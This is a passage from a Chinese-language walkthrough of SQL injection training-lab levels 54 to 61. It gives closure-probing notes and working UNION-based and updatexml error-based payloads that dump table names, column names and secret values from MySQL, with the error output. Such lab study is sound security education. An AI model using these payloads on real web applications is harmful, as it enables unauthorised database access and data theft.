?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() -- #
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='6rkzuquxqg' and table_schema=database() -- #
?id=-1' union select 1,group_concat(secret_T9CV),3 from 6rkzuquxqg -- #
第五十五关-联合注入
不翻译了...
使用引号探针,发现没有报错信息,所以报错注入用不了
?id=1'
使用2-1,回显的是1的信息,所以判断这是数字型注入
?id=2-1
使用order by发现没有任何作用,所以尝试了一下括号,发现这是带有括号的数字型
?id=1) order by 3 -- #
获取数据(每个人数据都不一样)
?id=-1) union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() -- #
?id=-1) union select 1,group_concat(column_name),3 from information_schema.columns where table_name='k8duqrwfn9' and table_schema=database() -- #
?id=-1) union select 1,group_concat(secret_A286),3 from k8duqrwfn9 -- #
第五十六关-联合注入
不翻译了...
利用2-1判断数字型,结果不是数字型
使用引号探针判断闭合,发现没有任何报错信息,所以不能用报错注入了111
判断闭合方式,发现界面正常回显
?id=1' and '1'='1
判断是否有括号,回显的是1的信息,所以闭合方式为引号加上括号闭合
?id=2' and '1'='1
判断字段数、回显位,并且获取数据
?id=1') order by 3 -- #
?id=1') order by 4 -- #
?id=-1') union select 1,2,3 -- #
?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() -- #
?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='dl4f4k42zy' and table_schema=database() -- #
?id=-1') union select 1,group_concat(secret_DCQ2),3 from dl4f4k42zy -- #
第五十七关-联合注入
不翻译了...
使用引号探针发现正常显示(单引号),这九成是双引号有关的了。
使用双引号探针发现没法显示并且没有报错(不能使用报错注入了),接着后面添加注释符号界面正常显示。
判断有没有括号,使用1") -- #发现没有办法正常显示,所以得出这是双引号加上括号闭合。
获取字段数、回显位,数据。
?id=1" order by 3 -- #
?id=1" order by 4 -- #
?id=-1" union select 1,2,3 -- #
?id=-1" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() -- #
?id=-1" union select 1,group_concat(column_name),3 from information_schema.columns where table_name='oa1zfdkjwo' and table_schema=database() -- #
?id=-1" union select 1,group_concat(secret_ZVSW),3 from oa1zfdkjwo -- #
第五十八关-报错注入
限制在5个语句???!!!不想翻译了...
使用引号探针,发现回显出报错信息,这是单引号闭合,所以报错注入有望!
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
获取数据!
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) -- #
XPATH syntax error: '~q6mi5yatt1'
复制代码
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='q6mi5yatt1' and table_schema=database())),3) -- #
XPATH syntax error: '~id,sessid,secret_64YV,tryy'
复制代码
?id=1' and updatexml(1,concat(0x7e,(select group_concat(secret_64YV) from q6mi5yatt1)),3) -- #
第五十九关-报错注入
使用引号探针,回显出报错信息,判断是数字型注入,报错注入有望。
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1
获取数据。
?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)
XPATH syntax error: '~djwt50t0s9'
复制代码
?id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='djwt50t0s9' and table_schema=database())),3)
XPATH syntax error: '~id,sessid,secret_0MEE,tryy'
复制代码
?id=1 and updatexml(1,concat(0x7e,(select group_concat(secret_0MEE) from djwt50t0s9)),3)
第六十关-报错注入
不想翻译...
使用引号探针(单引号),回显正常,九成是双引号有关的。
使用双引号探针,回显出报错信息,判断是双引号加上括号闭合,使用报错注入试一下。
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1
获取数据。
?id=1") and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) -- #
XPATH syntax error: '~ti6jxukf2b'
复制代码
?id=1") and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='ti6jxukf2b' and table_schema=database())),3) -- #
XPATH syntax error: '~id,sessid,secret_U00Y,tryy'
复制代码
?id=1") and updatexml(1,concat(0x7e,(select group_concat(secret_U00Y) from ti6jxukf2b)),3) -- #
第六十一关-报错注入
不想翻译...
使用引号探针,根据报错信息判断这是单引号加上两个括号闭合,使用报错注入。
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'')) LIMIT 0,1' at line 1
构造闭合,获取数据。
?id=1')) and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) -- #
XPATH syntax error: '~6ze6q3awxl'
复制代码
?id=1')) and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='6ze6q3awxl' and table_schema=database())),3) -- #
XPATH syntax error: '~id,sessid,secret_R72X,tryy'
复制代码
?id=1')) and updatexml(1,concat(0x7e,(select group_concat(secret_R72X) from 6ze6q3awxl)),3) -- #